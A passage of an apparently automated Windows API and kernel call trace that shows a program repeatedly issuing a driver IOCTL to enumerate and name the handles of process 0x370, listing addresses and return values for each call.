Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.737] PsAcquireProcessExitSynchronization () returned 0x0 [0136.737] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0) [0136.738] ObReferenceObjectByHandle (in: Handle=0x9dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80031325c0, HandleInformation=0x0) returned 0x0 [0136.738] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.738] PsReleaseProcessExitSynchronization () returned 0x2 [0136.738] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f2 [0136.738] ObQueryNameString (in: Object=0xfffffa80031325c0, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.738] ObfDereferenceObject (Object=0xfffffa80031325c0) returned 0x1 [0136.738] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.738] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.738] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.738] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x46, lpOverlapped=0x0) returned 1 [0136.738] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.738] PsAcquireProcessExitSynchronization () returned 0x0 [0136.738] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0) [0136.738] ObReferenceObjectByHandle (in: Handle=0xa28, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a004a24140, HandleInformation=0x0) returned 0x0 [0136.738] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.738] PsReleaseProcessExitSynchronization () returned 0x2 [0136.738] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f2 [0136.738] ObQueryNameString (in: Object=0xfffff8a004a24140, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.738] ObfDereferenceObject (Object=0xfffff8a004a24140) returned 0x3 [0136.738] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.738] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.738] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.738] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0136.738] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.738] PsAcquireProcessExitSynchronization () returned 0x0 [0136.738] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0) [0136.738] ObReferenceObjectByHandle (in: Handle=0xa44, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80034d7bb0, HandleInformation=0x0) returned 0x0 [0136.738] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.738] PsReleaseProcessExitSynchronization () returned 0x2 [0136.738] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f2 [0136.738] ObQueryNameString (in: Object=0xfffffa80034d7bb0, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.738] ObfDereferenceObject (Object=0xfffffa80034d7bb0) returned 0x2 [0136.738] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.739] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.739] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.739] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8e, lpOverlapped=0x0) returned 1 [0136.739] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.739] PsAcquireProcessExitSynchronization () returned 0x0 [0136.739] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0) [0136.739] ObReferenceObjectByHandle (in: Handle=0xaac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003aeb2c0, HandleInformation=0x0) returned 0x0 [0136.739] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.739] PsReleaseProcessExitSynchronization () returned 0x2 [0136.739] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f2 [0136.739] ObQueryNameString (in: Object=0xfffffa8003aeb2c0, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.739] ObfDereferenceObject (Object=0xfffffa8003aeb2c0) returned 0x1 [0136.739] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.739] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.739] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.739] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0136.739] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.739] PsAcquireProcessExitSynchronization () returned 0x0 [0136.739] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0) [0136.739] ObReferenceObjectByHandle (in: Handle=0xbc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8001f70ac0, HandleInformation=0x0) returned 0x0 [0136.739] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.739] PsReleaseProcessExitSynchronization () returned 0x2 [0136.739] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f2 [0136.739] ObQueryNameString (in: Object=0xfffffa8001f70ac0, ObjectNameInfo=0xfffffa8001a0e044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0e044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.739] ObfDereferenceObject (Object=0xfffffa8001f70ac0) returned 0x11 [0136.739] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.739] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.739] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.739] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x6c, lpOverlapped=0x0) returned 1 [0136.739] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.739] PsAcquireProcessExitSynchronization () returned 0x0 [0136.739] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0) [0136.740] ObReferenceObjectByHandle (in: Handle=0xdf4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80018afa70, HandleInformation=0x0) returned 0x0 [0136.740] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.740] PsReleaseProcessExitSynchronization () returned 0x2 [0136.740] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f2 [0136.740] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.740] ObfDereferenceObject (Object=0xfffffa80018afa70) returned 0x21 [0136.740] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.740] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.740] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.740] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8c, lpOverlapped=0x0) returned 1 [0136.740] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.740] PsAcquireProcessExitSynchronization () returned 0x0 [0136.740] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0) [0136.740] ObReferenceObjectByHandle (in: Handle=0xe18, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80028c3d10, HandleInformation=0x0) returned 0x0 [0136.740] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.740] PsReleaseProcessExitSynchronization () returned 0x2 [0136.740] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f2 [0136.740] ObQueryNameString (in: Object=0xfffffa80028c3d10, ObjectNameInfo=0xfffffa8001fc2044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001fc2044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.740] ObfDereferenceObject (Object=0xfffffa80028c3d10) returned 0x1 [0136.740] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.740] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.740] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.740] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0136.740] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.740] PsAcquireProcessExitSynchronization () returned 0x0 [0136.740] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0) [0136.740] ObReferenceObjectByHandle (in: Handle=0xe34, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80028c2240, HandleInformation=0x0) returned 0x0 [0136.740] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.740] PsReleaseProcessExitSynchronization () returned 0x2 [0136.740] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f2 [0136.740] ObQueryNameString (in: Object=0xfffffa80028c2240, ObjectNameInfo=0xfffffa8001fc3044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001fc3044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.741] ObfDereferenceObject (Object=0xfffffa80028c2240) returned 0x2 [0136.741] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.741] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.741] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.741] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0136.741] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.741] PsAcquireProcessExitSynchronization () returned 0x0 [0136.741] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0) [0136.741] ObReferenceObjectByHandle (in: Handle=0xe38, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800193d590, HandleInformation=0x0) returned 0x0 [0136.741] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.741] PsReleaseProcessExitSynchronization () returned 0x2 [0136.741] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f2 [0136.741] ObQueryNameString (in: Object=0xfffffa800193d590, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.741] ObfDereferenceObject (Object=0xfffffa800193d590) returned 0x2 [0136.741] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.741] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.741] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.741] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8a, lpOverlapped=0x0) returned 1 [0136.741] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.741] PsAcquireProcessExitSynchronization () returned 0x0 [0136.741] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0) [0136.741] ObReferenceObjectByHandle (in: Handle=0xe7c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001cab610, HandleInformation=0x0) returned 0x0 [0136.741] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.741] PsReleaseProcessExitSynchronization () returned 0x2 [0136.741] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f2 [0136.741] ObQueryNameString (in: Object=0xfffff8a001cab610, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005473550) returned 0x0 [0136.741] ObfDereferenceObject (Object=0xfffff8a001cab610) returned 0x2 [0136.741] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.741] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.742] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.742] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8c, lpOverlapped=0x0) returned 1 [0136.742] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.742] PsAcquireProcessExitSynchronization () returned 0x0 [0136.742] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0) [0136.742] ObReferenceObjectByHandle (in: Handle=0xe84, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0019dc710, HandleInformation=0x0) returned 0x0 [0136.742] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.742] PsReleaseProcessExitSynchronization () returned 0x2 [0136.742] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f2 [0136.742] ObQueryNameString (in: Object=0xfffff8a0019dc710, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005473550) returned 0x0 [0136.742] ObfDereferenceObject (Object=0xfffff8a0019dc710) returned 0x2 [0136.742] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.742] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.742] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.742] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0xa0, lpOverlapped=0x0) returned 1 [0136.742] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.742] PsAcquireProcessExitSynchronization () returned 0x0 [0136.742] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0) [0136.742] ObReferenceObjectByHandle (in: Handle=0xea4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003c57570, HandleInformation=0x0) returned 0x0 [0136.742] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.742] PsReleaseProcessExitSynchronization () returned 0x2 [0136.742] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f2 [0136.742] ObQueryNameString (in: Object=0xfffffa8003c57570, ObjectNameInfo=0xfffffa800231d7c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800231d7c4, ReturnLength=0xfffff88005473550) returned 0x0 [0136.742] ObfDereferenceObject (Object=0xfffffa8003c57570) returned 0x1 [0136.742] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.742] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.742] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.742] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0xa0, lpOverlapped=0x0) returned 1 [0136.742] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.742] PsAcquireProcessExitSynchronization () returned 0x0 [0136.742] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0) [0136.742] ObReferenceObjectByHandle (in: Handle=0xeac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80108a95e0, HandleInformation=0x0) returned 0x0 [0136.743] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.743] PsReleaseProcessExitSynchronization () returned 0x2 [0136.743] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f2 [0136.743] ObQueryNameString (in: Object=0xfffffa80108a95e0, ObjectNameInfo=0xfffffa800208f044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800208f044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.743] ObfDereferenceObject (Object=0xfffffa80108a95e0) returned 0x13 [0136.743] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.743] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.743] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.743] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0xa2, lpOverlapped=0x0) returned 1 [0136.743] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.743] PsAcquireProcessExitSynchronization () returned 0x0 [0136.743] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0) [0136.743] ObReferenceObjectByHandle (in: Handle=0xeb8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800f07e960, HandleInformation=0x0) returned 0x0 [0136.743] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.743] PsReleaseProcessExitSynchronization () returned 0x2 [0136.743] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f2 [0136.743] ObQueryNameString (in: Object=0xfffffa800f07e960, ObjectNameInfo=0xfffffa80024077c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80024077c4, ReturnLength=0xfffff88005473550) returned 0x0 [0136.743] ObfDereferenceObject (Object=0xfffffa800f07e960) returned 0x1 [0136.743] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.743] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.743] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.743] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.743] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.743] PsAcquireProcessExitSynchronization () returned 0x0 [0136.743] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0) [0136.743] ObReferenceObjectByHandle (in: Handle=0xebc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0017bf0f0, HandleInformation=0x0) returned 0x0 [0136.743] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.743] PsReleaseProcessExitSynchronization () returned 0x2 [0136.743] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f2 [0136.743] ObQueryNameString (in: Object=0xfffff8a0017bf0f0, ObjectNameInfo=0xfffffa800243d7c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800243d7c4, ReturnLength=0xfffff88005473550) returned 0x0 [0136.743] ObfDereferenceObject (Object=0xfffff8a0017bf0f0) returned 0x1 [0136.743] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.744] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.744] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.744] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x7c, lpOverlapped=0x0) returned 1 [0136.744] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.744] PsAcquireProcessExitSynchronization () returned 0x0 [0136.744] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880054735d0) [0136.744] ObReferenceObjectByHandle (in: Handle=0xf30, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001be2760, HandleInformation=0x0) returned 0x0 [0136.744] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.744] PsReleaseProcessExitSynchronization () returned 0x2 [0136.744] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f2 [0136.744] ObQueryNameString (in: Object=0xfffff8a001be2760, ObjectNameInfo=0xfffffa8002041044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8002041044, 